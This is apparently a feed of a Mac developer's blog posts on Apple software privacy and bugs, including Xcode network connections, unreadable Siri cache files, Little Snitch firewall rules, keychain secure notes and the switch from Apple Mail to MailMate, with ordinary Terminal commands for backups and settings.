Messages iPad Storage
]]>
Xcode constantly phones home https://lapcatsoftware.com/articles/2025/2/5.html 2025-02-24T16:30:00Z 2025-02-24T16:30:00Z Building StopTheMadness Pro in Xcode is usually very fast, because my project doesn't use any Swift. It's a combination of Objective-C, which compiles much more quickly than Swift, and JavaScript, which doesn't need to be compiled. However, sometimes the builds were very slow for some strange reason. Checking the Xcode build transcripts, I found that the delay was in the "Gather provisioning inputs" build phase.

Xcode build messages

This one phase took 50.6 seconds when the entire build was 56.8 seconds!

I tested with my internet disabled, and the slow builds did not occur. Obviously, though, it's impractical to disable my internet every time I want to build and run. After all, my project is a Safari extension! I do use Little Snitch, but I had previously allowed all connections from Xcode to apple.com, because that's required to upload builds to App Store Connect. When I scrutinized the individual Xcode connections with Little Snitch, I saw that developerservices2.apple.com was responsible for the slow "Gathering provisioning inputs" build phase. When I denied those connections with Little Snitch, my builds were always fast. And successful. The build phase is mostly unnecessary.

I found a thread in the Apple Developer Forums that discusses the problem, mentioning the -allowProvisioningUpdates option of the command-line xcodebuild tool. From the man page:

Allow xcodebuild to communicate with the Apple Developer website. For automatically signed targets, xcodebuild will create and update profiles, app IDs, and certificates. For manually signed targets, xcodebuild will download missing or updated provisioning profiles. Requires a developer account to have been added in Xcode's Accounts preference pane.

Connecting to developerservices2.apple.com, and to some other domains, is required in order to upload a build to App Store Connect. For most local builds, on the other hand, the "Gathering provisioning inputs" build phase is unnecessary and can slow down the build considerably. Thus, I've now denied Xcode connections to developerservices2.apple.com by default in Little Snitch and disable the rule only when uploading to App Store Connect.

During my investigation of slow builds, I noticed some other frequent Xcode connections. For example, Xcode connects to devimages-cdn.apple.com every time it launches. According to Apple's support document Use Apple products on enterprise networks, that domain is used for "Xcode downloadable components". I assume this refers to platform support in the Components pane of Xcode Settings. (Note that the document doesn't mention developerservices2.apple.com.) Again, though, it's unnecessary to check for updates on every launch. I'd rather not tell Apple whenever I launch Xcode, or whenever I make a local build of my app. It certainly doesn't align with Apple's claim that they believe privacy is a fundamental human right. Or perhaps Apple believes that developers are subhuman…

I've saved the worst for last. For some reason, Xcode phones home to appstoreconnect.apple.com every time I open an Xcode project. This also appears to be unnecessary, and I experience no problems after denying the connections in Little Snitch, so I do! I assume that the connections send identifying information about the Xcode project to Apple, otherwise why even make the connections when opening a project? And all of these connections from Xcode, to every domain, require login to your Apple Developer account, so Apple is definitely receiving identifying information about you in any case.

In effect, Xcode is a developer analytics collection mechanism, whether you like it or not, which I don't.

]]>
Inaccessible .bnnsir files on macOS Sequoia https://lapcatsoftware.com/articles/2025/2/4.html 2025-02-14T14:35:00Z 2025-02-14T14:35:00Z Every day I make a backup of my macOS home folder with a command like the following:

hdiutil create -encryption -format UDZO -noatomic -noscrub -srcfolder /Users/jeff -verbose /Users/Shared/backups/2025-2-13.dmg

Yesterday my backup failed, because it couldn't copy a file inside the ~/Library/Group Containers/group.com.apple.CoreSpeech/Caches/onDeviceCompilationCaches/ directory. The onDeviceCompilationCaches directory and its contents were created the previous day at 5:16PM; it did not exist in the previous day's backup (created at 4:47PM). At first I thought the hdiutil failure was the same old bug introduced in macOS Sonoma that I blogged about before: Can't create disk image containing locked file. However, I didn't find any locked files this time. I did find two bizarre files that I can neither read nor copy (using cat and cp, for example), not even with sudo, not even with System Integrity Protection (SIP) disabled. Both files are exactly 6799360 bytes in size. One file is in the secondPassChecker subdirectory:

24D70-adee8808d041f179fca66b3a4bfa95346d6df819_15.1033.1-galvatron_hsjs_v1_8bit_fp16_mil2bnns-15.1033.1-en-US.bnnsir

And the other file is in the speakerRecognition subdirectory:

24D70-adee8808d041f179fca66b3a4bfa95346d6df819_15.1033.1-int8_conformer_matrix_split-15.1033.1-en-US.bnnsir

The 24D70 prefix in the filenames is actually the build number of macOS 15.3.1, which you can see in the About This Mac window under the  menu. I used the ls -@FOPel% command to print as much information as possible about the files, but there was nothing out of the ordinary:

-rw------- 1 jeff staff - 6799360 Feb 12 17:16

They're regular files with no extended attributes, no file flags, no Access Control List, etc. There's no apparent reason why I shouldn't be able to read or copy the files.

I do think I know where the files came from. After the macOS 15.3.1 update re-enabled Apple Intelligence, I decided to change my Siri language, because I heard that this was a workaround to prevent Apple Intelligence from getting enabled.

Apple Intelligence & Siri System Settings

This process was a bit involved, because I have a configuration profile that disallows Siri. So I had to edit my profile, reinstall it, enable Siri, change the Siri language, disable Siri, edit my profile again, and reinstall it again. The last modified time of my .mobileconfig file was 5:22PM Wednesday, which is around the same time that the .bnnsir files were created. Moreover, comparing Wednesday's backup of ~/Library/Group Containers/ to the current directory, I found several new subdirectories group.com.apple.siri.inference, group.com.apple.siri.referenceResolution, and group.com.apple.siri.remembers that were all created at 5:17PM Wednesday, within one minute of the .bnnsir files. The circumstantial evidence seems strong.

Thus, the mystery to me is not where the files came from but rather why I can't access them.

Searching the web, I found a small number of references to the same problem. There's a post in the macOS Sequoia Apple Support Community from December 22, 2024:

Steps I took:

  1. Created a APFS volume on an external SSD
  2. Copied the home folder from the internal HD to the external HD
  3. During the process it stops and I get the following message:
    The operation can’t be completed because you don’t have permission to access “24C101-915b2b7b58cda908d393076c1774553c56bf6550_15.1033.1-int8_conformer_matrix_split-15.1033.1-en-US.bnnsir”.

This file appears to be located at the following pathway: /Users/MyHomeFolder/Library/Group Containers/group.com.apple.CoreSpeech/Caches/onDeviceCompilationCaches/speakerRecognition

There's a post in The Lightroom Queen forums (Adobe Lightroom, that is) from January 3, 2025:

Coincidentally I found an odd error crop up in my ChronoSync backup error logs of my main drive.
Error: Source Target encountered error: "File is exclusively open by another application."
/System/Volumes/Data/Users/tom/Library/Group Containers/group.com.apple.CoreSpeech/Caches/onDeviceCompilationCaches/speakerRecognition/24C101-5be543f40a3ad19ea0c8f119fa9659f06a4c746b_15.1033.1-int8_conformer_matrix_split-15.1033.1-en-CA.bnnsir

Most informative (relatively speaking) is a Reddit post in r/synology from January 14, 2025:

Our developers identified a workaround that involves removing (or relocating) certain files generated by macOS speech recognition. We encourage contacting Apple directly and referencing bug FB16090831. However, if you wish to attempt a workaround, please note it involves deleting or moving speech recognition files from your Mac, which may affect speech recognition functionality. Proceed at your own discretion:

  1. Identify the error in log files:

    • Search for lines referencing diskXsY Couldn't get/unwrap ekwk in crypto_id <inode_value>, err 1.

  2. Find the affected file using find and the inode value:bashCopier le codesudo find / -inum <inode_value>

  3. Check if the file has a .bnnsir extension.

    • If so, it is likely a macOS speech recognition cache file.

So there's an Apple Feedback Assistant bug report (FB16090831), though of course I can't access it.

I ended up just deleting the onDeviceCompilationCaches folder, and then my home folder backup completed successfully. But the file access mystery remains. What exactly caused those .bnnsir files to be inaccessible?

]]>
Apple software update "bug" enables Apple Intelligence https://lapcatsoftware.com/articles/2025/2/3.html 2025-02-11T00:35:00Z 2025-02-11T00:35:00Z Some people who had previously disabled Apple Intelligence in macOS 15.3 and iOS 18.3 saw it re-enabled after updating to macOS 15.3.1 and iOS 18.3.1 today. In fact I personally have two different Apple silicon Macs running macOS Sequoia, and after I updated both Macs to 15.3.1, Apple Intelligence was re-enabled on my MacBook Pro but not on my Mac mini. The difference in behavior appears to depend on whether the Setup Assistant and welcome screen is displayed after the update. On my MacBook Pro, but not my Mac mini, I saw the Setup Assistant.

Setup Assistant

This is essentially an advertisement for Apple Intelligence, with no option to enable or disable it. After pressing the Continue button, I saw the macOS welcome screen, which required me to press Continue a second time.

Welcome screen

After I was logged into my user account, I opened System Settings and checked whether Apple Intelligence was enabled. It was, contrary to my previous setting before the macOS 15.3.1 update.

System Settings

My iPhone and iPad aren't new enough to support Apple Intelligence, and I didn't see the welcome screen on either device, but security researcher Will Dormann experienced the issue on iOS:

People who updated to iOS 18.3.1 today: Did you see a "Welcome" screen on reboot, and subsequently also an Apple Intelligence screen that automatically turns it on?

Out of my two iPhone devices (on two different Apple accounts), both of them got the multiple-language welcome screen. The one that was new enough to support Apple Intelligence also got the Apple Intelligence screen, which turned it on.

Out of my two iPhone-owning coworkers who responded, NEITHER of them got the welcome screen.

I also noticed a Reddit post and comments about this issue:

My iphone 15 pro max showed the welcome screen for apple intelligence like 18.3 and it turned itself back on. On the iPad (M4 11") it didn't show the screen and didn't turn it on.

Needless to say, Apple re-enabling Apple Intelligence is user-hostile and annoying. It's reminiscent of how Apple re-enabled Bluetooth on every OS update on purpose. Amazingly, though, after several years, Apple appears to have finally fixed that Bluetooth issue in macOS 15 and iOS 18. Unfortunately, it also appears that Apple replaced Bluetooth re-enabling by Apple Intelligence re-enabling, so we users never come out ahead.

]]>
How Safari search engine extensions work https://lapcatsoftware.com/articles/2025/2/2.html 2025-02-08T17:55:00Z 2025-02-08T17:55:00Z In My 2024 Apple Report Card, while talking about how Siri sucks and why that's important, John Gruber offered the following analogy:

It doesn’t matter that Apple doesn’t offer, say, its own web search engine, because Safari can use whatever search engine you want.

This is not entirely accurate. Safari makes it extremely difficult to use a custom search engine that's not in Safari's defaults. The defaults can vary by country; the United States list is shown below. Gruber uses Kagi, which is not in our list.

Safari Search Settings

Ironically, it's relatively easy to set a custom search engine in Google Chrome.

Google Chrome Add site search

To use Kagi as your default search engine in Safari, you have to install Kagi's Safari extension.

So I installed the extension and entered a search in the Safari address bar. Note below how Safari says "Search Google" and "Google Search", even though I'm supposed to be using Kagi.

Safari address bar

For the purposes of demonstration, I've disabled all of my Safari rules in Little Snitch so that every connection attempt will trigger an alert. When I press return, I see this.

Safari wants to connect to www.google.com

That ain't Kagi. It's Google!

Safari connects to Kagi only after connecting to Google.

Safari wants to connect to kagi.com

The same phenomenon occurs if I set my Safari search engine to DuckDuckGo and enter a search in the address bar.

Safari wants to connect to duckduckgo.com

Why does this happen? It turns out that Safari has no extension API to set a new search engine. The workaround for the lack of an API is a kind of hack: Safari extensions instead use the webNavigation onBeforeNavigate API to detect a connection to your default search engine, and then they redirect to your custom search engine using the tabs update() API. This technique is not unique to the Kagi extension. Other Safari extensions such as xSearch must do the same thing, because there's no better way.

An unfortunate consequence is that Safari always sends your search to your default search engine, Google for example, before it sends your search to your custom search engine! Is that what you wanted? If you're trying to protect your privacy, well… you're failing. Another unfortunate consequence is that you can't use your default search engine in Safari—if you want to check Google occasionally and compare to Kagi—because the Safari extension will always redirect your searches. Your best bet would be to set your Safari default search engine to something you never use, for example, Ecosia (no offense intended), and make sure the Safari extension redirects only that site.

Safari Websites Settings

Creating a rule in Little Snitch to deny connections to your Safari default search engine, such as ecosia.org, does appear to work, and still allows the Safari extension to redirect connections to your custom search engine, such kagi.com, so that's one possible way of preventing your Safari searches from leaking.

]]>
Apple Mail app bugs finally pushed me to MailMate https://lapcatsoftware.com/articles/2025/2/1.html 2025-02-01T16:50:00Z 2025-02-01T16:50:00Z I've been using Apple's Mail app since I switched to Mac OS X from Windows back in 2002. I recently purchased an M4 MacBook Pro with a nano-texture display and set up Mail app fresh on the new machine, which is running macOS Sequoia. In the following weeks, I encountered a bunch of the same old problems—the Mail main window sometimes fails to come to the front when clicking on the Dock icon, requiring one or more additional clicks; the Flagged mailbox lists some unflagged messages, which can be removed from the list only by moving them to a new containing folder and back again; Mail app refuses to quit entirely because it's connecting to Gmail; a message sometimes isn't marked as read when opened in a window; my column widths are forgotten when switching folders—as well as a new problem: the Unread smart mailbox showed a phantom count of 1 when no messages appeared in the folder.

This new, mysterious problem resisted my various attempts at a solution until I took a step that in retrospect should have been obvious: I added an Account criterion to the Unread smart mailbox, thereby narrowing down the problem. It turned out that the phantom unread count was specific to a little-used email account of mine. (I have 6 different accounts!) I logged into the account via webmail in Safari, and I found an old unread message in the inbox that for some reason Mail app hadn't downloaded. After I marked the message as read in webmail, the phantom "1" disappeared from the Mail app Unread smart mailbox.

Although my immediate problem was solved, I started to wonder why Mail app hadn't downloaded that unread message. So for each of my email accounts, I used the Get Account Info contextual menu item to show the number of messages in each mailbox on the IMAP server, comparing it to the number of messages in each mailbox displayed in Mail app. To my horror, I discovered that there were multiple discrepancies, in multiple mailboxes, in multiple accounts. Mail app seems to download most of the messages from each mailbox, but for some unknown reason it doesn't always download every message from every mailbox.

This was the final straw for me, an irreparable loss of confidence in the reliability of Mail app. In my opinion, Apple Mail is a formerly great app, during the 2000s, that has steadily declined in quality since then and ultimately became shoddy. I can only speculate about the causes. Has Apple shortchanged the Mac after introducing the vastly more popular iPhone? Does Apple's current CEO care less about quality than the previous CEO? In any case, the plight of Mail is not unique: across the board, Apple's software design and quality are at an all time low. Third parties are doing it better than the first party. RIP Mail app, long live MailMate!

I had tried MailMate once before, but several downsides kept me from switching at the time. I decided to give it another try now. MailMate's IMAP support appears to be flawless: unlike Mail app, MailMate downloaded every message in every mailbox for every account. How is it possible that one developer, Benny Kjær Nielsen, can succeed where an entire team of Apple engineers failed? Perhaps the problem is too many Cooks, as it were.

MailMate still has some downsides, though. For me, the biggest downside is lack of support for On My Mac mailboxes. I have a large archive of messages from old email accounts that are no longer active (from college, previous jobs, etc.). As far as I can tell, MailMate always requires an IMAP server. From the MailMate manual:

If you are migrating from a POP3 only email client then you can try the “File ▸ Import Messages…” menu item in MailMate. You are then asked to chooses files or folders to import, and you also need to specify an IMAP mailbox to be used as the root for the imported messages.

I don't want to upload my old archived messages to the IMAP server of a different account. I just want the messages to exist on my Mac and be searchable. I'd prefer that all of my emails be searchable in one app, but perhaps I'll use EagleFiler for searching my email archive when necessary. It's worth noting that search in Apple Mail is wonky at best, especially with smart folders, so this downside might not be so bad.

I also wish that MailMate always showed image attachments in the message window, like Apple Mail, because it's inconvenient to resort to QuickLook to view them. Since MailMate already shows inline attachments, it should be possible to show non-inline attachments too.

I had to set a hidden preference to prevent MailMate from locking (with the uchg flag) opened attachment files in the ~/Library/Caches/com.freron.MailMate/Attachments/ folder:

defaults write com.freron.MailMate MmAttachmentsCacheImmutableStateDisabled -bool YES

The locked files were preventing me from making backups of my Mac, due to a disk image creation bug introduced in macOS Sonoma and still present in Sequoia.

Unlike Apple Mail, MailMate has no built-in junk mail detection. (It does have built-in support for SpamSieve.) This is not a dealbreaker for me, however, because my junk mail volume is relatively low. I receive only about one per day on average, which I can handle easily. Moreover, Apple Mail has some problems with junk mail filtering. As of macOS Ventura, there's no longer a way to mark a message as not junk that Mail mistakenly marked as junk. And my junk mailboxes accumulate old messages despite the fact that I set Mail to erase junk messages after one month.

I encountered an issue where clicking a link in an email not only opens the URL in my default web browser, as expected, but also causes MailMate itself to connect to the URL, as shown by a Little Snitch alert. This issue turned out to be an Apple WebKit bug, triggered by MailMate's use of the WebKit API to display the message. It's actually a pretty bad bug, with potential privacy implications. Fortunately I was able to around the bug with Little Snitch by creating a rule that denies all TCP connections from MailMate to port 443 (https). Of course I also had to create rules allowing https connections necessary for MailMate to function, to accounts.google.com and oauth2.googleapis.com for Gmail and to updates.mailmate-app.com for software updates.

MailMate's new business model does worry me. Euphemistically speaking, it's… peculiar. I hope that it works out for the developer, because I'd hate to switch to MailMate only to see it become abandonware. I suppose that I can always crawl back to Apple Mail if necessary, but for now MailMate is clearly the superior option for me.

]]>
YouTube problem in macOS Safari https://lapcatsoftware.com/articles/2025/1/8.html 2025-01-30T14:45:00Z 2025-01-30T14:45:00Z I'm writing this blog post in the hope that Google YouTube engineers and/or Apple Safari engineers will notice it. I don't know how to file a YouTube bug report, and I didn't file a WebKit bug report because it's not clear that this problem is a WebKit bug as opposed to just a YouTube bug. I've noticed a problem with YouTube videos in macOS Safari, namely that many videos restart after about 4 seconds of playback. In my testing, this problem is specific to macOS Safari and doesn't occur in iOS Safari or any other web browser on macOS. Here's an example video that reproduces the problem for me every time: https://www.youtube.com/watch?v=CXhha5C3pzo (Morris Day interview about Prince).

I've debugged the problem with the Safari web inspector and discovered that YouTube is observing a SourceBuffer error event, which causes YouTube to create a new video element. Beyond that, I don't have any insight. This problem occurs even with no Safari extensions enabled, so it's not my fault!

]]>
Image Creation Tools Are Here https://lapcatsoftware.com/articles/2025/1/7.html 2025-01-28T01:35:00Z 2025-01-28T01:35:00Z After I installed macOS 15.3 today, I saw this little gem in System Settings.

System Settings, Image Creation Tools Are Here

Apple, in its eagerness to please the stock market by forcing the so-called "beta" of Apple Intelligence on customers, offers no way to dismiss the advertisement in System Settings without opening the Image Playground app. You absolutely must see the new features, says Tim Cook.

With the help of one of my favorite apps, Find Any File, I found a way to dismiss the advertisement without opening one of my least favorite apps, Image Playground. I simply searched for the text content "Image Creation Tools Are Here" inside my ~/Library/ folder. FindAnyFile found three hits, the most promising one, in my estimation, was this:

~/Library/CoreFollowUp/items.db

It's a standard SQLite database, readable with the following command in Terminal:

sqlite3 ~/Library/CoreFollowUp/items.db .dump

As an experiment—for science!—I deleted the items.db file, and for good measure I logged out, to restart the followupd process, which I strongly suspected was related. Sure enough, when I logged back in and opened System Settings, the advertisement was gone! I scienced the shit out of it.

You can use the same workaround in the future whenever you see a message at the top of System Settings that you want to remove.

]]>
Little Snitch feature nobody knows about https://lapcatsoftware.com/articles/2025/1/6.html 2025-01-24T13:55:00Z 2025-01-24T13:55:00Z Little Snitch by Objective Development is the first app that I install on a new Mac. In fact I just bought a new Mac, an M4 MacBook Pro with nano-texture display, and I installed Little Snitch via thumb drive even before connecting the Mac to the internet. While setting up my new Mac, which came with macOS 15.2 preinstalled, I noticed that Safari attempted to connect to ssl.gstatic.com on launch. That domain is owned by Google!

Safari wants to connect to ssl.gstatic.com on TCP port 443 (https)

I denied the connection, but it kept happening on every launch, despite the fact that I set Safari to open with a new private window and empty page. Moreover, it happened on every launch of Safari Technology Preview too. In the Little Snitch alert window, I pressed the info button, which revealed that the connection was initiated by Safari Search Helper, a separate process from the main Safari app.

Established by /System/Volumes/Preboot/Cryptexes/Incoming/OS/System/Library/PrivateFrameworks/SafariShared.framework/Versions/A/XPCServices/com.apple.Safari.SearchHelper.xpc/Contents/MacOS/com.apple.Safari.SearchHelper

Like most web browsers nowadays, Safari launches other processes to perform dedicated tasks. To see this in action, just search for "Safari" in Activity Monitor. The advantage of using separate processes is that each process can have separate privileges, and if one process happens to crash, it doesn't cause the entire app to crash. When an internet connection is initiated by a process launched by an app, Little Snitch attempts to attribute the connection to the main app rather than to the helper process. This attribution usually makes more sense to the Little Snitch user.

I haven't figured out exactly why Safari Search Helper connects to ssl.gstatic.com, but it's definitely related to using Google as the search engine in Safari Search Settings. If I change the search engine to DuckDuckGo, for example, the connection attempts no longer occur on launch. Indeed, if I switch the search engine back from DuckDuckGo to Google in Safari Settings popup button, a connection to ssl.gstatic.com occurs immediately. None of the other search engine choices provoke a connection. I decided to permanently deny all connections to ssl.gstatic.com from Safari, because there's no good reason for Safari to silently contact Google when I'm not even searching.

Unfortunately, my new Little Snitch rule had an undesirable side effect. Although I'm trying to wean myself off, I still use Gmail, and when you set up Gmail in Mail app, it authenticates your Google account in Safari. However, the authentication kept failing for me. Looking in the Safari web inspector console, it became clear that the problem was some denied ssl.gstatic.com connections. Thus, I was forced to disable my Little Snitch rule and allow Safari to connect to ssl.gstatic.com in order to authenticate Gmail for Mail app.

Oddly, the ssl.gstatic.com connections from Safari stopped entirely after I allowed it to connect once. I discovered, comparing Safari preferences before and after, that WBSOfflineSearchSuggestionsModelLastUpdateDateKey had been set.

defaults read com.apple.Safari WBSOfflineSearchSuggestionsModelLastUpdateDateKey

I also discovered through experimentation, giving WBSOfflineSearchSuggestionsModelLastUpdateDateKey different date values (technically, they're string values of dates), that Safari checks for updates once a week. Thus, it was clear that Safari would make future ssl.gstatic.com connections, if allowed by Little Snitch. By the way, I should note that I've disabled "Include search engine suggestions" in Safari Search Settings, yet Safari is still apparently trying to download suggestions from Google?

What I wanted to do was create a Little Snitch rule that applied to Safari Search Helper but not to websites loaded in Safari tabs. I tried creating a new rule using the explicit path on disk of Safari Search Helper, but that didn't work. Little Snitch seemed to ignore that rule and continued to attribute Safari Search Helper connections to the Safari app.

I emailed Objective Development to ask whether there's any way to separate the rules in Little Snitch for the two processes, Safari and Safari Search Helper. At first, they said no, but then on reflection, they said yes!

Safari via com.apple.Safari.SearchHelper

The trick is to use "via" in the Little Snitch rule. When you're creating the rules, enter the full file paths of the two processes, separated by "via". Little Snitch will automatically replace the paths with the process names. Make sure you match both of the processes by code signing identity too. The above rule denies ssl.gstatic.com connections initiated by Safari Search Helper while otherwise allowing such connections by Safari.

It's nice to know that this trick exists, though it's unlikely that you'll need to use it much. I thought the trick might help with Google Chrome, but it turns out that most Chrome connections are initiated by the Google Chrome Helper process: not only the web page connections but also the silent connections that run in the background, for example to googleapis.com, accounts.google.com, tools.google.com, clients1.google.com, clients2.google.com, clients3.google.com, etc. Needless to say, Google Chrome phones home a lot! It was disappointing to learn that Safari makes a silent connection to Google too. I guess that the massive yearly default search engine payment from Google to Apple buys a lot of access.

]]>
New secure note on macOS Sequoia https://lapcatsoftware.com/articles/2025/1/5.html 2025-01-24T12:30:00Z 2025-01-24T12:30:00Z As I mentioned in my previous blog post Apple Passwords is hostile to backups, macOS 15 Sequoia removed New Secure Note Item from the File menu in Keychain Access app. My suggested workaround was to create a new password item rather than a new secure note, putting the secure note in the Password field and a dummy value in the Account Name field. A follower of mine on Mastodon noted (pun intended) that a secure note could still be created on Sequoia by using the security command-line utility:

security add-generic-password -a dummy -C note -D "secure note" -T "" -s your note name

You can read an explanation of the arguments in the man page of security. For some reason, the -a account argument is required, even though secure notes created in macOS Sonoma and earlier have no account. If no keychain is specified on the command line, then the secure note is added to the default keychain, which would typically be your login keychain. The empty -T "" argument prevents the security tool from automatically appearing in the Access Control list, which is probably not what you want.

security add-generic-password -a dummy -C note -D "secure note" -s Testing
Always allow access by these applications: security

Since it's still possible to create a new secure note in Terminal, the removal of New Secure Note Item from Keychain Access was clearly a decision hostile to Mac users, making the user interface more difficult than necessary. At best, it was paternalism; at worst, pure spite.

I would recommend adding a function to your .zshrc file. For example:

securenote() {
  if [[ -z $@ ]]; then
    echo "Note name required"
  else
    security add-generic-password -a dummy -C note -D "secure note" -T "" -s $@
  fi
}
]]>
Apple Passwords is hostile to backups https://lapcatsoftware.com/articles/2025/1/4.html 2025-01-22T16:10:00Z 2025-01-22T16:10:00Z In my view, a useful backup system must be (1) chronological, (2) granular, and (3) redundant. A chronological backup system includes multiple historical snapshots of your data, allowing you to recover not only the latest version of your data but also past data that has been deleted or edited. A granular backup system allows you to selectively recover specific fragments of data from your backup without disturbing, deleting, or corrupting the rest of your current data. A redundant backup system includes multiple backups of the same data, stored in geographically distinct locations, to guard against disastrous data loss in one location.

According to these three essential criteria, iCloud Keychain is not a proper backup system. In fact, it fails to satisfy any of the criteria. iCloud Keychain stores only one version of your passwords, the latest version, so it's not chronological. You can't extract a single password from iCloud Keychain without restoring—that is, overwriting—every password, so it's not granular. And the only way you can restore your iCloud Keychain passwords is via Apple's online iCloud service, so it's not redundant. If you lose access to iCloud for some reason, such as an internet outage or an account lockout, or if your iCloud Keychain data becomes corrupted in some way—which happens!—then you're left with no alternative backup.

I think the fairest way to characterize iCloud Keychain is not as a backup system but rather as a sync system. And there's nothing inherently wrong with a system that's dedicated exclusively to syncing data between your devices. The problem is not simply that iCloud Keychain provides no backup system but also that iCloud Keychain is hostile to backup systems.

Contrast iCloud Keychain to the login keychain on your Mac. The login keychain is relatively friendly to backup systems. It consists of a single file on disk that can be copied to other disks and read by the Keychain Access app on any Mac, as long as you know the login password. And you can copy individual keychain entries—a password, secure note, key, or certificate—from one keychain to another keychain, using standard copy and paste. If you have a backup system for the Data volume on your Mac, or for your home folder on your Mac, you thereby have a backup system for the login keychain, because the login keychain is basically just an app-specific document file.

As far as I'm aware, the only way to get passwords in or out of Apple Passwords, aside from using Safari AutoFill, is to import from or export to an unencrypted comma-separated values (CSV) file. This is far from ideal, for at least two reasons. First, the lack of encryption, storing your passwords in plaintext, is of course a potential vulnerability. Second, generating CSV files from Apple Passwords is an entirely manual process. It doesn't fit well with a regular backup system for your Mac. Indeed it's totally incompatible with an automated backup system.

I use Safari password AutoFill, because it's extremely convenient, but I don't rely on Apple Passwords to store the sole copy of my passwords. When I create a new online account, I generate the (long, random) password separately, save it in my login keychain, and then enter the password in the web form for Safari to save too. This is the only way to ensure my passwords get proper backups.

Below are some quotes from the Apple developer documentation on Mac keychain APIs and implementations.

macOS has two keychain implementations:

  • File-based keychain

  • Data protection keychain

The file-based keychain has its origins on traditional Mac OS. The data protection keychain originated on iOS and came to macOS with the advent of iCloud Keychain on macOS 10.9.

The file-based keychain is on the road to deprecation. It’s not officially deprecated, but some of the APIs surrounding it are. For example, SecKeychainCreate was deprecated in the macOS 12 SDK. Moreover, new features, like iCloud Keychain, require the data protection keychain.

On the "road" to deprecation, Apple has made a number of significant changes to the Keychain Access app on macOS 15 Sequoia. First, they moved the app from /Applications/Utilities/ to /System/Library/CoreServices/Applications/ and automatically removed the app from your Dock if it was already there. During the WWDC beta period, every new beta version continued to remove the app from your Dock, but eventually they allowed you to keep it there. Second, even if you manage to find Keychain Access app on disk, Apple aggressively pushes you toward Passwords app instead.

Use the Passwords app to manage your passwords and passkeys, set up verification codes, and view security recommendations to keep your accounts safe. Buttons: Open Passwords (selected by default), Open Keychain Access, Do not show this message again

Third, you can't even open Keychain app and view the list of keychain items without entering your keychain password first. But you still have to enter your password again when you select the "Show password" checkbox for a particular item (unless you add Keychain Access app under "Access Control").

Fourth, and worst, the New Secure Note item has been removed from the File menu! You can still view your old secure notes in your keychain, but you can't create new secure notes. Apple wants you to use the Notes app instead. This is extremely inconvenient, for several reasons. I want to manage all of my passwords and secure notes in one place. I need proper backups, but Notes app appears to suffer from the same hostility to backups as Passwords app. And for some reason, unlike the login keychain, locked Notes can't be locked with your login password unless you enable iCloud Keychain.

You must turn on iCloud Keychain in System Settings to use your login password for locked notes.

Fortunately, I have a workaround for this problem, which is to create a new password item rather than a new secure note, putting the secure note in the Password field and a dummy value in the Account Name field. Nonetheless, this is such a stupid, passive-aggressive restriction on Sequoia.

If Apple continues with the deprecation of file-based keychains, I don't know what I'll do. I suspect at that point, I'll be forced to abandon Apple software entirely for password management and move to a third-party solution. (I am fully aware of the alternatives, so please do not contact me with alternative suggestions! If I had to switch today, I'd probably choose Strongbox, which is based on the open source KeePass.)

At WWDC 2018, Craig Federighi offered an emphatic denial to the rhetorical question, "Are you merging iOS and macOS?"

No.

In retrospect, six years later, that was clearly a lie. The merger has continued unabated. Apple's developer documentation quoted above openly admits that file-based keychains were designed for the Mac, while opaque data protection keychains were designed for iOS. Of course, iOS doesn't give users direct access to the file system, unlike macOS, so in my view the deprecation of file-based keychains is a sign that Apple is making macOS more like iOS, to the detriment of Mac users. In general, iOS itself is hostile to backup systems. Although it is possible to back up your iOS device to your Mac via USB, the backups lack granularity, one of the essential criteria that I listed at the beginning of the blog post.

]]>
macOS Sequoia iCloud Photos configuration profile bug https://lapcatsoftware.com/articles/2025/1/3.html 2025-01-17T19:40:00Z 2025-01-17T19:40:00Z I mentioned yesterday that I just bought a new M4 MacBook Pro, which of course comes with macOS Sequoia. Before I enabled iCloud on the new Mac, I installed a configuration profile created with Apple Configurator app. The purpose of the configuration profile was to prevent iCloud from silently enabling features that I don't want. I discussed this technique last year in a blog post about how to stop iCloud Keychain with a profile. My configuration profile disables not only iCloud Keychain but also iCloud Photos, Siri, Diagnostic Submission, and Apple Personalized Advertising. Below is a screenshot of the profile in which you can see that Allow iCloud Photos is unchecked. (Most of the settings are just default values that I didn't change.)

nano.mobileconfig

I installed the profile, and then I enabled iCloud on the new Mac. (I avoided enabling iCloud in the macOS Setup Assistant.) The profile mostly worked—iCloud Keychain was disabled, as planned—but it didn't work right with iCloud Photos. You can see in the screenshot below from System Settings that iCloud Photos was enabled rather than disabled.

This setting has been configured by a profile. iCloud Photos, Sync this Mac enabled

Yet it says that the setting has been configured by a profile, and indeed the toggle is disabled, as expected with a managed setting. Thus, in order to disable iCloud Photos, I had to create another configuration profile with Allow iCloud Photos checked, install that profile to enable the toggle, manually disable iCloud Photos, and then install my original profile again.

Fortunately, I didn't actually have any photos in the Photos library on the new MacBook Pro, because I was still setting it up and hadn't migrated any data yet, so nothing got uploaded to iCloud without my consent. (I hadn't used Migration Assistant either.) Still, this seems like a pretty bad bug, at least in principle.

I've filed FB16344371 "mobileconfig failed to disable iCloud Photos" in Apple's Feedback Assistant.

]]>
Help? Reset AirDrop identity hash https://lapcatsoftware.com/articles/2025/1/2.html 2025-01-16T14:50:00Z 2025-01-16T14:50:00Z I just bought a new MacBook Pro with a nano-texture display. (Some people say that I'm an "Apple hater", but my credit card says otherwise.) I'll be blogging more about my new MacBook Pro later, but first I need to solicit help from the internet. Perhaps an Apple engineer is reading this? My problem is that I'm unable to select "Contacts Only" in AirDrop discovery. According to the Apple Platform Security guide:

AirDrop uses iCloud services to help users authenticate. When a user signs in to iCloud, a 2048-bit RSA identity is stored on the device, and when the user turns on AirDrop, an AirDrop short identity hash is created based on the email addresses and phone numbers associated with the user’s Apple Account.

When a user chooses AirDrop as the method for sharing an item, the sending device emits an AirDrop signal over BLE that includes the user’s AirDrop short identity hash. Other Apple devices that are awake, in close proximity, and have AirDrop turned on, detect the signal and respond using peer-to-peer Wi-Fi, so that the sending device can discover the identity of any responding devices.

In Contacts Only mode, the received AirDrop short identity hash is compared with hashes of people in the receiving device’s Contacts app. If a match is found, the receiving device responds over peer-to-peer Wi-Fi with its identity information. If there is no match, the device doesn’t respond.

